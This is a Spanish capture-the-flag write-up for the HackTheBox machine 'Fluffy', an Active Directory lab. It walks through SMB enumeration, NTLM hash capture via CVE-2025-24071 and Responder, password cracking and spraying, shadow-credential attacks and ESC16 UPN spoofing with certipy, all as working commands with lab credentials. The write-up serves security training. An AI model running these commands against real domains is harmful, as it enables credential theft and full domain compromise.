Fluffy

Escaneo:
❯ cat targeted -l java
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Thu May 29 11:36:07 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,139,389,445,464,593,636,3268,3269,5985,9389,49667,49685,49686,49689,49703,49711,49742 -oN targete
│ d 10.10.11.69
2 │ Nmap scan report for fluffy.htb (10.10.11.69)
3 │ Host is up (0.44s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 53/tcp open domain Simple DNS Plus
7 │ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-29 23:36:15Z)
8 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
9 │ 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
10 │ |_ssl-date: 2025-05-29T23:37:49+00:00; +6h59m59s from scanner time.
11 │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
12 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
13 │ | Not valid before: 2025-04-17T16:04:17
14 │ |_Not valid after: 2026-04-17T16:04:17
15 │ 445/tcp open microsoft-ds?
16 │ 464/tcp open kpasswd5?
17 │ 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
18 │ 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
19 │ |_ssl-date: 2025-05-29T23:37:49+00:00; +7h00m00s from scanner time.
20 │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
21 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
22 │ | Not valid before: 2025-04-17T16:04:17
23 │ |_Not valid after: 2026-04-17T16:04:17
24 │ 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
25 │ |_ssl-date: 2025-05-29T23:37:49+00:00; +6h59m59s from scanner time.
26 │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
27 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
28 │ | Not valid before: 2025-04-17T16:04:17
29 │ |_Not valid after: 2026-04-17T16:04:17
30 │ 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
31 │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
32 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
33 │ | Not valid before: 2025-04-17T16:04:17
34 │ |_Not valid after: 2026-04-17T16:04:17
35 │ |_ssl-date: 2025-05-29T23:37:49+00:00; +7h00m00s from scanner time.
36 │ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
37 │ |_http-title: Not Found
38 │ |_http-server-header: Microsoft-HTTPAPI/2.0
39 │ 9389/tcp open mc-nmf .NET Message Framing
40 │ 49667/tcp open msrpc Microsoft Windows RPC
41 │ 49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
42 │ 49686/tcp open msrpc Microsoft Windows RPC
43 │ 49689/tcp open msrpc Microsoft Windows RPC
44 │ 49703/tcp open msrpc Microsoft Windows RPC
45 │ 49711/tcp open msrpc Microsoft Windows RPC
46 │ 49742/tcp open msrpc Microsoft Windows RPC
47 │ Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
48 │
49 │ Host script results:
50 │ | smb2-security-mode:
51 │ | 3:1:1:
52 │ |_ Message signing enabled and required
53 │ | smb2-time:
54 │ | date: 2025-05-29T23:37:10
55 │ |_ start_date: N/A
56 │ |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
57 │
58 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
59 │ # Nmap done at Thu May 29 11:37:50 2025 -- 1 IP address (1 host up) scanned in 103.51 seconds
Agregamos al etc hosts:
10.10.11.69 fluffy.htb DC DC01.fluffy.htb
Ya tenemos las siguientes credenciales:
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman
/ J0elTHEM4n1990!
Listamos los archivos compartidos:
Dos formas distintas:
nxc smb 10.10.11.69 -u 'j.fleischman' -d 'fluffy.htb' -p 'J0elTHEM4n1990!' --shares
smbmap -H 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!'

Se encontró un IT
directorio que se puede leer y escribir.
smbclient //10.10.11.69/IT -U j.fleischman

Descargamos el .pdf:

Se dan algunas CVE
vulnerabilidades recientes
CVE-2025-24071
Combinando con los resultados anteriores smbmap
, podemos saber IT
que se puede escribir en el directorio, por lo que podemos probar las siguientes ideas
Generar archivos maliciosos 👇 y subirlos al directorio:

Iniciar responder
el monitoreo
El comando Responder está configurado para escuchar las solicitudes de autenticación SMB que se están generando cuando el archivo .rar
con el .library-ms
es extraído. La extracción activa automáticamente la fuga de hashes NTLM, y con el comando de Responder, puedes capturar esos hashes para luego analizarlos o crackearlos.
responder -I tun0 -wvF

Úsar john
para romper

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Verificacion de Pulverizacion de Contraseña
Enumeración de Usuarios SMB
nxc smb 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!' --users

Y lo guardamos en un .txt:

Pulverización de Contraseñas:
nxc ldap 10.10.11.69 -u users.txt -p passwords.txt --continue-on-success

Bloodhound
python3 bloodhound.py -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb -ns 10.10.11.69 -c All --zip

Ingresamos al Bloodhound los json:
Pertenece a dos grupos:

Al buscar mas info en los dos grupos podemos saber que:
Tenga en cuenta que
p.agila
puede agregarse usted mismo al SERVICE ACCOUNTS de usuarios.Entonces el grupo tiene permisos de escritura
service
para el usuario.CA_SVC


y el user CA_SVC:

Ahora tenemos que realizar todos estos pasos:
Primero
p.agila
agrégalo al grupo
python3 bloodyAD.py --host '10.10.11.69' -d 'dc01.fluffy.htb' -u 'p.agila' -p 'prometheusx-303' add groupMember 'SERVICE ACCOUNTS' p.agila

Debido a que tiene permisos para cuentas SERVICE ACCOUNTS
como ca_svc
, ldap_svc
, etc., esto significa que se puede agregar una KeyCredential personalizada (certificado sombra) a estas cuentas.winrm_svcGenericWrite
Shadow Credential
Sincronizamos la hora:
ntpdate -u 10.10.11.69
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'WINRM_SVC' -dc-ip '10.10.11.69'

Se generó un certificado para el usuario
winrm_svc
.Se obtuvo el TGT y el NT hash, lo que permite la autenticación y el acceso a recursos del sistema bajo el contexto de
winrm_svc
.El NT hash puede ser utilizado para autenticación basada en hashes o para esquemas de ataque como el Pass-the-Hash (PTH).

Escalada de privilegios:
WINRM_SVC
El usuario no parece tener nada especial.
Luego, realice un ataque de credenciales de sombra en ca_svc ,
ldap_svc y : winrm_svc
Continúe la misma operación que la anterior para obtener el hash del usuario ca_svc:
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' -debug
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ldap_svc' -debug
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'winrm_svc' -debug


certipy-ad find -vulnerable -u CA_SVC -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip 10.10.11.69
El comando certipy-ad find -vulnerable
que ejecutaste realiza una búsqueda en el entorno de Active Directory (AD) para encontrar vulnerabilidades relacionadas con certificados y configuraciones de la Autoridad Certificadora (CA)

cat 20250529205134_Certipy.json

Quizás sea porque certipy-ad
la versión es muy baja, actualízala aquí
python3 certipy/entry.py find -username ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable

Suplantación de UPN: certipy
Lea el UPN original de la cuenta de la víctima (opcional - para recuperación).
Paso 1: Leer el UPN original de la cuenta de la víctima
Objetivo: Obtener el nombre principal de usuario (UPN) original de la cuenta de la víctima (esto es opcional, pero útil para una posible recuperación).
Comando:
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
Descripción: Este comando lee el UPN actual de la cuenta ca_svc
en el dominio fluffy.htb
. Este paso es importante para verificar y obtener la información de la cuenta antes de modificarla en los siguientes pasos.
Paso 2: Actualizar el UPN de la cuenta de la víctima al del administrador de destino
Objetivo: Cambiar el UPN de la cuenta de la víctima (ca_svc
) para que coincida con el UPN del administrador de destino, que generalmente será el UPN de un administrador privilegiado (como administrator
).
Comando:
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
Descripción: Este comando actualiza el UPN de la cuenta ca_svc
para que sea el de un administrador de destino, en este caso administrator
. Esto es parte de un proceso para manipular la cuenta y solicitar un certificado en su nombre.
Paso 3: Solicitar un certificado emitido como usuario "víctima"
Objetivo: Solicitar un certificado de autenticación para el usuario modificado (ahora con el UPN de administrador) desde una plantilla de certificados adecuada.
Comando:
certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto
Luego, se configura la variable de entorno para el caché de Kerberos:
export KRB5CCNAME=ca_svc.ccache
Después de configurar el caché de credenciales, se solicita el certificado:
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
Descripción: Este paso utiliza Certipy para solicitar un certificado desde la CA (Autoridad Certificadora) fluffy-DC01-CA
, utilizando la plantilla de certificados de usuario. El certificado se solicita bajo el contexto de la cuenta de la víctima que ahora tiene el UPN del administrador, lo que permite la obtención del certificado para esa cuenta.
Paso 4: Restaurar el UPN de la cuenta "víctima"
Objetivo: Restaurar el UPN original de la cuenta ca_svc
después de haber realizado la modificación necesaria para la solicitud de certificados.
Comando:
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
Descripción: Este comando devuelve el UPN de la cuenta ca_svc
a su valor original, lo que ayuda a limpiar la modificación hecha en el paso anterior y mantener la consistencia de las cuentas de usuarios en el dominio.
Paso 5: Autenticarse como administrador de destino
Objetivo: Utilizar el certificado obtenido en el paso 3 para autenticarte como el administrador de destino (administrator
), ahora que el certificado está disponible.
Comando:
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
Descripción: Este comando utiliza el archivo de certificado administrator.pfx
para autenticar al usuario administrator en el dominio fluffy.htb
. Si todo ha salido correctamente, esto permitirá la autenticación como administrador utilizando el certificado obtenido previamente.
Resultados del Paso 5:
Una vez ejecutado el comando de autenticación, el sistema proporciona los siguientes detalles:
Obtención del TGT (Ticket Granting Ticket): El proceso de autenticación Kerberos fue exitoso, obteniendo un TGT para
administrator@fluffy.htb
.Guardado del caché de credenciales: El TGT se guarda en el archivo
administrator.ccache
, lo que permite usar el ticket para futuras autenticaciones sin necesidad de volver a pedirlo.Obtención del hash NT del usuario: El hash NT para el usuario
administrator@fluffy.htb
es extraído con éxito, lo que podría ser útil para realizar ataques como Pass-the-Hash.
Resultado:
Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:<hidden>

Resumen del Proceso:
Este conjunto de pasos describe cómo manipular cuentas en Active Directory para obtener credenciales de administrador a través de la modificación del UPN de una cuenta de víctima (ca_svc
), la solicitud de un certificado de autenticación en nombre del usuario víctima, y finalmente la autenticación como administrador de destino utilizando el certificado emitido.
Los pasos son los siguientes:
Leer el UPN original de la cuenta víctima.
Actualizar el UPN de la cuenta víctima al UPN de un administrador de destino.
Solicitar un certificado para la cuenta con el UPN modificado desde una plantilla de certificado adecuada.
Restaurar el UPN original de la cuenta víctima.
Autenticarse como el administrador de destino usando el certificado obtenido.
Este proceso utiliza herramientas como Certipy y técnicas como certificados de autenticación, explotación de vulnerabilidades ESC16 y autenticación Kerberos para realizar la escalada de privilegios en el dominio.
Last updated